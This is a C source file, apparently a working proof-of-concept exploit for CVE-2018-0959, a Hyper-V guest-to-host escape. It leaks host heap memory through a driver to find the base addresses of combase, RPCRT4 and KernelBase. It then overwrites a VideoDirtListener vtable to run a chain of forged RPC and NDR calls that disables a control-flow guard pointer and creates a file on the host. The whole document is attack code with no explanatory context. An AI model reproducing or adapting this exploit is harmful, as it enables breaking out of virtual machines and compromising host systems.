Exploit.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<Windows.h>

#define DEVICE_NAME L"\\\\.\\CVE-2018-0959"
#define LEAK_IOCTL 0x80010000
#define CORRUPT_IOCTL 0x80010004
#define VRAM_IOCTL 0x80000004
#define VRAM_PA 0xfff800000
#define VRAM_SIZE 0x800000
#define PATTERN_FILE L"pattern.dat"

#define INDIRECT_CALL_CHAIN_LEN 0x4
#define COMBASE_LEN 30
#define RPCRT4_LEN 8
#define KERNELBASE_LEN 8
#define ENTRY_LEN 0x21

typedef struct VRAMData {
	LARGE_INTEGER physAddr;
	PCHAR buffer;
	SIZE_T len;
}VRAM_DATA;

typedef struct _Node {
	__int64 vftable;
	__int64 dummy[0x50 / 0x8];
	__int64 next;
}Node;



typedef struct _Info {
	void* buffer;
	int from;
	int to;
}WriteInfo, ReadInfo;

const unsigned int combase_offset[COMBASE_LEN] = { 0x209f50, 0x2032f8, 0x203398, 0x203358, 0x87aa0, 0x205a98, 0x209e68, 0x2bad90, 0x2bad70, 0x2bacf0, 0x2bae40, 0x2bad10, 0x2badc0, 0x2bad00, 0x2bae20, 0x2badd0, 0x2bae00, 0xd7d40, 0x2bee90, 0x2bd500, 0x20a1c0, 0x20d258, 0x239ea0, 0x239e80, 0x20a908, 0x24b638, 0x201a00, 0x20a8d0, 0x20aa28, 0x20a900};
const unsigned int rpcrt4_offset[RPCRT4_LEN] = { 0xdd1e8, 0xde770, 0xde798, 0xeb7b0, 0xeb824, 0x13d30, 0x1081b0, 0x109050 };
const unsigned int kernelbase_offset[KERNELBASE_LEN] = { 0x71d90, 0x605f0, 0x6a873, 0xdcc50, 0x7ec20, 0x7ed00, 0x7e9b0, 0x7e660 };
__int64 VideoDirtListenerEntries[ENTRY_LEN] = { -0x85a0, -0x83f0, -0x83d0, -0x33f10, -0x8360, 0x13638, -0x8910, -0x40b00, -0x88b0, -0x33f10, -0x40b00, 0x136d8, -0x24170, -0x40c70, 0x13720, -0x24170 };// entry - vftable

void WriteVRAM(HANDLE driver, PVOID Buffer, SIZE_T len) {
	VRAM_DATA* payload;

	payload = (VRAM_DATA*)calloc(1, sizeof(VRAM_DATA));
	payload->physAddr.QuadPart = VRAM_PA;
	payload->buffer = Buffer;
	payload->len = len;

	if (!DeviceIoControl(driver, VRAM_IOCTL, payload, sizeof(VRAM_DATA), NULL, 0, NULL, NULL)) {
		printf("DeviceIoControl 0x%x Failed(%d)", VRAM_IOCTL, GetLastError());
	}


	free(payload);
}

int sprayPattern(HANDLE driver) {
	HANDLE hFile = NULL, hFileMap = NULL;
	PVOID mapView = NULL;

	hFile = CreateFileW(PATTERN_FILE, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("CreateFileW(%S) Failed(%d)\n", PATTERN_FILE, GetLastError());
		return 0;
	}

	hFileMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, VRAM_SIZE, NULL);

	if (hFileMap == INVALID_HANDLE_VALUE) {
		printf("CreateFileMappingW Failed(%d)\n", GetLastError());
		CloseHandle(hFile);
		return 0;
	}

	mapView = MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
	if (mapView == NULL) {
		CloseHandle(hFileMap);
		CloseHandle(hFile);
		printf("MapViewOfFile Failed(%d)\n", GetLastError());
		return 0;
	}

	WriteVRAM(driver, mapView, VRAM_SIZE);

	UnmapViewOfFile(mapView);
	CloseHandle(hFileMap);
	CloseHandle(hFile);

	return 1;
}


int main() {

	HANDLE driver, hFile, hFileMap;

	__int64* data = NULL;
	hFile = CreateFileW(L".\\TargetHeap.dat", GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	if (hFile == INVALID_HANDLE_VALUE) {
		printf("CreateFile Failed(%d)\n", GetLastError());
		return -1;
	}

	hFileMap = CreateFileMappingW(hFile, NULL, PAGE_READWRITE, 0, 0x400000, NULL);

	if (hFileMap == INVALID_HANDLE_VALUE) {
		CloseHandle(hFile);
		printf("CreateFileMapping Failed(%d)\n", GetLastError());
		return -1;
	}

	data = MapViewOfFile(hFileMap, FILE_MAP_WRITE, 0, 0, 0);

	if (data == NULL) {
		CloseHandle(hFileMap);
		CloseHandle(hFile);
		printf("MapViewOfFile Failed(%d)\n", GetLastError());
		return -1;
	}

	driver = CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (driver == INVALID_HANDLE_VALUE) return 0;
	printf("[+] Spray Pattern on VRAM Buffer\n");

	sprayPattern(driver);

	printf("[+] Leak Data from Target Heap\n");

	ReadInfo LeakDll = { 0, }, FindVdl = { 0, };

	LeakDll.buffer = data;
	LeakDll.from = 0;
	//LeakDll.to = 0x100000;
	LeakDll.to = 0xb0000;

	int jumpOffset = 0, readRange = 0;
	printf("Jump Offset(KB) >");
	scanf_s("%d", &jumpOffset);
	printf("Read Range(KB) >");
	scanf_s("%d", &readRange);
	FindVdl.from = jumpOffset*1024;//1408KB
	FindVdl.to = FindVdl.from + readRange * 1024;
	FindVdl.buffer = (char*)LeakDll.buffer + FindVdl.from;

	printf("[+] Read 1\n");
	DeviceIoControl(driver, LEAK_IOCTL, &LeakDll, sizeof(ReadInfo), NULL, 0, NULL, NULL);

	printf("[+] Find DLL address from Leaked Data\n");

	__int64 combase = 0, RPCRT4 = 0, KernelBase = 0, VideoDirtListenerVtable = 0, VideoDirtListener = 0, * VideoDirtListenerOffset = NULL;
	for (__int64* qword = LeakDll.buffer; qword < (__int64*)LeakDll.buffer + (LeakDll.to-LeakDll.from)/8; qword++) {
		unsigned short* word = qword;

		if (*qword > 0x7ff000000000 && *qword < 0x7fffffffffff) {//probably dll address value
			for (int i = 0; i < COMBASE_LEN && combase == 0; i++) {//Compare with Combase Offsets
				unsigned short diff = (unsigned short)combase_offset[i];
				if (diff == *word) combase = *qword - combase_offset[i];
			}

			for (int i = 0; i < RPCRT4_LEN && RPCRT4 == 0; i++) {//Compare with Combase Offsets
				unsigned short diff = (unsigned short)rpcrt4_offset[i];
				if (diff == *word) RPCRT4 = *qword - rpcrt4_offset[i];
			}

			for (int i = 0; i < KERNELBASE_LEN && KernelBase == 0; i++) {
				unsigned short diff = (unsigned short)kernelbase_offset[i];
				if (diff == *word) KernelBase = *qword - kernelbase_offset[i];
			}
			/*
			if (*word == (unsigned short)0x22e0) {//2 byte offset of VideoDirtListener's vftable address
				VideoDirtListenerOffset = qword;
				VideoDirtListener = *(qword + 0x58 / 8);
				VideoDirtListenerVtable = *qword;
			}
			*/
		}
		if (combase && RPCRT4 && KernelBase) break;// && VideoDirtListener
	}
	printf("[+] DLL Address\n");
	printf("combase.dll: %llx\nRPCRT4.dll: %llx\nKernelBase.dll: %llx\n", combase, RPCRT4, KernelBase);

	printf("[+] Read 2\n");
	DeviceIoControl(driver, LEAK_IOCTL, &FindVdl, sizeof(ReadInfo), NULL, 0, NULL, NULL);
	printf("[+] Find VideoDirtListener from Leaked Data\n");

	for (__int64* qword = FindVdl.buffer; qword < (__int64*)FindVdl.buffer + (FindVdl.to - FindVdl.from) / 8; qword++) {
		unsigned short* word = qword;
		if(*word == 0x22e0 && (*qword >= 0x7ff000000000 && *qword < 0x7fffffffffff)){
			VideoDirtListenerVtable = *qword;
			VideoDirtListenerOffset = qword;
			VideoDirtListener = qword[0x58 / 8];
			printf("VideoDirtListener: %llx, vftable: %llx\n", VideoDirtListener, VideoDirtListenerVtable);
		}
	}

	if (!VideoDirtListener || !combase || !RPCRT4 || !KernelBase) {
		printf("[!] Some Data Not Found from Target Heap\n");
		UnmapViewOfFile(data);
		CloseHandle(hFileMap);
		CloseHandle(hFile);
		CloseHandle(driver);
		return 0;
	}

	for (int i = 0; i < ENTRY_LEN; i++) {
		VideoDirtListenerEntries[i] += VideoDirtListenerVtable;
	}

	__int64 rpcrt4_guard_check_icall_fptr = RPCRT4 + 0xe94f0, KernelBase_VirtualProtect = KernelBase + 0x64030, ret = RPCRT4 + 0x58480 + 0x1e;//RPCRT4!NdrServerCall2 + 0x1e => ret


	char* payload = (char*)VideoDirtListenerOffset;
	PRPC_MESSAGE pRpcMsg = NULL;
	PRPC_SERVER_INTERFACE pServerInterface = NULL;
	PMIDL_SERVER_INFO pMidl = NULL;
	__int64* node = NULL;

	__int64 start = VideoDirtListener, DispatchTable = start + 0x100 * INDIRECT_CALL_CHAIN_LEN, MidlStubDesc = DispatchTable + sizeof(__int64) * INDIRECT_CALL_CHAIN_LEN, MidlSrvInfo = MidlStubDesc + sizeof(MIDL_STUB_DESC), ServerInterface = MidlSrvInfo + sizeof(MIDL_SERVER_INFO);
	__int64 ProcStringAddress = ServerInterface + sizeof(RPC_SERVER_INTERFACE), FmtStringOffsetAddress = ProcStringAddress + 0x100, vftable = FmtStringOffsetAddress + sizeof(short) * 0x10;


	printf("[+] Overwrite VideoDirtListener::UnprepareSelf to combase!RegistrationStore::Context::RevertChanges\n");
	VideoDirtListenerEntries[2] = combase + 0x17d9b0;//vmemulateddevices!VideoDirtListener::PrepareSelf -> combase!RegistrationStore::Context::RevertChanges
	VideoDirtListenerEntries[0x70 / 0x8] = RPCRT4 + 0x58480;//RPCRT4!NdrServerCall2
	VideoDirtListenerEntries[0] = DispatchTable + 8 - 0x70;// -> RPCRT4!NdrpServerUnmarshal's indirect call must return 0, point to VirtualProtect & make it fail to return 0
	VideoDirtListenerEntries[1] = 0x33307c89abcdef;//NdrStubCall2+0x4c0


	char* ProcString = ((char*)VideoDirtListenerOffset) + (ProcStringAddress - start);
	int ProcStringCursor = 0;
	WORD* FmtStringOffset = ((char*)VideoDirtListenerOffset) + (FmtStringOffsetAddress - start);
	for (int i = 0; i < INDIRECT_CALL_CHAIN_LEN; i++) {
		FmtStringOffset[i] = 0;
	}


	//initialize VideoDirtListener array
	for (int i = 0; i < INDIRECT_CALL_CHAIN_LEN; i++) {
		char* ProcDesc = NULL;
		WORD* Param = NULL;
		node = payload + i * 0x100;
		node[0] = vftable;
		node[0x58 / 8] = start + (i + 1) * 0x100 + 0x50;
		pRpcMsg = payload + i * 0x100;
		pRpcMsg->Buffer = start + i * 0x100 + 0x60;
		pRpcMsg->ProcNum = i;
		pRpcMsg->RpcInterfaceInformation = ServerInterface;
		pRpcMsg->DataRepresentation = 0x10;
		FmtStringOffset[i] = ProcStringCursor;

		printf("[+] Node[%x]: address=%llx, vftable=%llx, Buffer=%llx, RPC_SERVER_INTERFACE=%llx, next=%llx\n", i, start+i*0x100, vftable, start+i*0x100+0x60, ServerInterface, start + (i+1)*0x100+0x50);

		ProcString[ProcStringCursor + 0] = 0x1;//HandleType = 0x1
		ProcString[ProcStringCursor + 1] = 0;//InterpreterFlags = 0
		*(short*)&ProcString[ProcStringCursor + 2] = 0;// return value == 0
		switch (i) {//i=>ProcNum,  StackSize = BufferLength, Buffer + Bufferlen => ProcDesc
		case 1://VirtualProtect(RPCRT4!_guard_check_icall_fptr, 8, PAGE_READWRITE, VALID_ADDRESS)
			*(short*)&ProcString[ProcStringCursor + 4] = 0x20;//StackSize <- Buffer Length
			pRpcMsg->BufferLength = 0x20;
			//*(__int64*)&ProcString[0x10 * i + 6] = start + i * 0x100 + 0x60 + 0x20 + 0x10;//0x20 -> bufferlen, ProcDesc Pointer
			//ProcDesc = &pRpcMsg->Buffer + 0x30;//after ProcDescPointer
			ProcDesc = &ProcString[ProcStringCursor + 6];
			ProcDesc[4] = 0;//ignore return value
			ProcDesc[5] = pRpcMsg->BufferLength/4;//NumberParams
			Param = ProcDesc + 6;
			ProcStringCursor += 6 + 6;//ProcString + ProcDesc len
			break;

		case 2://GetCopy(this, dest)
			*(short*)&ProcString[ProcStringCursor + 4] = 0x10;//StackSize <- Buffer Length
			pRpcMsg->BufferLength = 0x10;
			ProcDesc = &ProcString[ProcStringCursor + 6];
			ProcDesc[4] = 0;//ignore return value
			ProcDesc[5] = pRpcMsg->BufferLength/4;//NumberParams
			Param = ProcDesc + 6;
			ProcStringCursor += 6 + 6;//ProcString + ProcDesc len
			break;

		case 3://CreateFileA
			*(short*)&ProcString[ProcStringCursor + 4] = 0x8 * 7;//StackSize <- Buffer Length
			pRpcMsg->BufferLength = 0x8 * 7;
			ProcDesc = &ProcString[ProcStringCursor + 6];
			ProcDesc[4] = 0;//ignore return value
			ProcDesc[5] = pRpcMsg->BufferLength/4;//NumberParams
			Param = ProcDesc + 6;
			ProcStringCursor += 6 + 6;//ProcString + ProcDesc len
			break;
		/* failed...
		case 3://LoadLibrary
			*(short*)&ProcString[ProcStringCursor + 4] = 0x8;//StackSize <- Buffer Length + return value
			pRpcMsg->BufferLength = 0x8;
			ProcDesc = &ProcString[ProcStringCursor + 6];
			ProcDesc[4] = 0;
			ProcDesc[5] = pRpcMsg->BufferLength/4;//NumberParams
			Param = ProcDesc + 6;
			ProcStringCursor += 6 + 6;//ProcString + ProcDesc len
			break;
		case 4://Stack Pivot
			*(short*)&ProcString[ProcStringCursor + 4] = 0x8;//StackSize <- Buffer Length + return value
			pRpcMsg->BufferLength = 0x8;
			ProcDesc = &ProcString[ProcStringCursor + 6];
			ProcDesc[4] = 0;
			ProcDesc[5] = pRpcMsg->BufferLength/4;//NumberParams
			Param = ProcDesc + 6;
			ProcStringCursor += 6 + 6;//ProcString + ProcDesc len
			break;
		*/

		default:
			break;
		}
		if (Param && ProcDesc && pRpcMsg->BufferLength) {//ProcDesc is Not NULL and StackSize is bigger than 0 => have parameter
			printf("\t[+] Param Info: Num of param=%d, StackSize=0x%x, \n", ProcDesc[5], pRpcMsg->BufferLength);
			*(__int64*)&ProcDesc[6] = (__int64)pRpcMsg->Buffer + 0x10 + *(short*)&ProcString[0x10 * i + 4];//address of buffer + bufferlen+ ProcDescLen
			//Param = (char*)&(pRpcMsg->Buffer) + 0x20 + *(short*)&ProcString[0x10 * i + 4];
			for (int j = 0; j < pRpcMsg->BufferLength / 0x4; j++) {
				Param[j * 3] = 0x8 | 0x40;//flag, used in Unmarshaling
				Param[j * 3 + 1] = j * 4;//Stack Index of parameter
				Param[j * 3 + 2] = 8;//Size of Param
				ProcStringCursor += 6;//add params len
			}
		}
		else printf("\t[+] Param Info: No param\n");

	}
	pRpcMsg = payload;
	pRpcMsg->Buffer = (__int64)pRpcMsg->Buffer | (0x7 << 0x18);// for vm::onprepare's error check
	VideoDirtListenerOffset[0xb8/0x8] = start + 0x150;//init _listChanges
	node = payload + 0x100 * 3;//last indirect call loop
	node[0x58 / 8] = start + 0xb0;//escape loop


	char* trailer = payload + 0x100 * INDIRECT_CALL_CHAIN_LEN;
	__int64* indirectCallTable = trailer, * buffer = NULL;
	MIDL_STUB_DESC *pDesc = (PMIDL_STUB_DESC) (indirectCallTable + INDIRECT_CALL_CHAIN_LEN);



	pDesc->pMallocFreeStruct = 0;
	pDesc->Version = 0xb000;

	pMidl = (PMIDL_SERVER_INFO)(pDesc + 1);
	pMidl->DispatchTable = DispatchTable;
	pMidl->ProcString = ProcStringAddress;//vaild address
	pMidl->FmtStringOffset = FmtStringOffsetAddress;//vaild address
	pMidl->pStubDesc = MidlStubDesc;//vaild address
	pMidl->ThunkTable = NULL;

	pServerInterface = (PRPC_SERVER_INTERFACE)(pMidl + 1);
	pServerInterface->InterpreterInfo = MidlSrvInfo;
	pServerInterface->Flags = 0;//to avoid NdrStubCall2 line 354's branch

	memcpy(payload + (vftable - VideoDirtListener), VideoDirtListenerEntries, 8 * ENTRY_LEN);


	//avoid Exception NdrStubCall2 & NdrpServerUnmarshal
	//NdrStubCall2 line 417
	//NdrpServerUnMarshal line 411
	indirectCallTable[19] = KernelBase_VirtualProtect;

	//call VirtualProtect(rpcrt4!_guard_check_icall_fptr, 0x8, 0x4, `some writable address`);
	indirectCallTable[1] = KernelBase_VirtualProtect;

	node = payload + 1 * 0x100;
	pRpcMsg = node;
	pRpcMsg->ManagerEpv = NULL;
	pRpcMsg->RpcFlags = 0x1000 | 0x10000000 | 0x20000000;
	buffer = node + 0x60/0x8;
	buffer[0] = rpcrt4_guard_check_icall_fptr;
	buffer[1] = 0x8;
	buffer[2] = 0x4;
	buffer[3] = pRpcMsg->Buffer;

	//call GetCopy
	indirectCallTable[2] = combase + 0xd9100;
	node = payload + 2 * 0x100;
	pRpcMsg = node;
	pRpcMsg->ManagerEpv = NULL;
	pRpcMsg->RpcFlags = 0x1000 | 0x10000000 | 0x20000000;
	buffer = node + 0x60/0x8;
	buffer[0] = (char*)pRpcMsg->Buffer + 0x18;//this
	buffer[1] = rpcrt4_guard_check_icall_fptr;//dest
	buffer[2] = ret;
	char* pThis = &buffer[3];
	*(int*)&pThis[0x14] = 0x8;
	*(__int64*)&pThis[0x18] = (char*)pRpcMsg->Buffer + 0x10 - 4;


	//call CreateFileA
	indirectCallTable[3] = KernelBase + 0x41700;//CreateFileA
	node = payload + 3 * 0x100;
	pRpcMsg = node;
	pRpcMsg->ManagerEpv = NULL;
	pRpcMsg->RpcFlags = 0x1000 | 0x10000000 | 0x20000000;
	buffer = node + 0x60/0x8;
	buffer[0] = (char*)pRpcMsg->Buffer + 0x8 * 7;//file name
	buffer[1] = GENERIC_READ | GENERIC_WRITE;//desired access
	buffer[2] = 0;
	buffer[3] = 0;
	buffer[4] = CREATE_ALWAYS;
	buffer[5] = FILE_ATTRIBUTE_NORMAL;
	buffer[6] = NULL;
	memcpy(&buffer[7], "C:\\Users\\Public\\Hackyboiz\0", 27);


	WriteInfo writeInfo = { 0, };

	printf("[+] Offset Between FindVdl Buffer start and VideoDirtListener: %llx\n", (char*)VideoDirtListenerOffset - (char*)FindVdl.buffer);

	writeInfo.from = FindVdl.from + ((char*)VideoDirtListenerOffset - (char*)FindVdl.buffer);

	writeInfo.from -= writeInfo.from % 0x200;

	writeInfo.to = writeInfo.from + 0x800;
	printf("[+] FindVdl Buffer (%p~)\n[+] VideoDirtListener ptr: %p\n[+] Write from %x to %x\n", FindVdl.buffer, VideoDirtListenerOffset, writeInfo.from, writeInfo.to);

	writeInfo.buffer = (char*)FindVdl.buffer + (writeInfo.from - FindVdl.from);

	printf("[+] Write Payload on TargetHeap\n");
	printf("[+] Overwrite Range: Landpoint+0x%x ~ Landpoint+0x%x\n", writeInfo.from, writeInfo.to);
	DeviceIoControl(driver, CORRUPT_IOCTL, &writeInfo, sizeof(WriteInfo), NULL, 0, NULL, NULL);
	printf("[+] Payload is Ready, Reboot Guest To Trigger Payload\n");

	UnmapViewOfFile(data);
	CloseHandle(hFileMap);
	CloseHandle(hFile);
	CloseHandle(driver);
}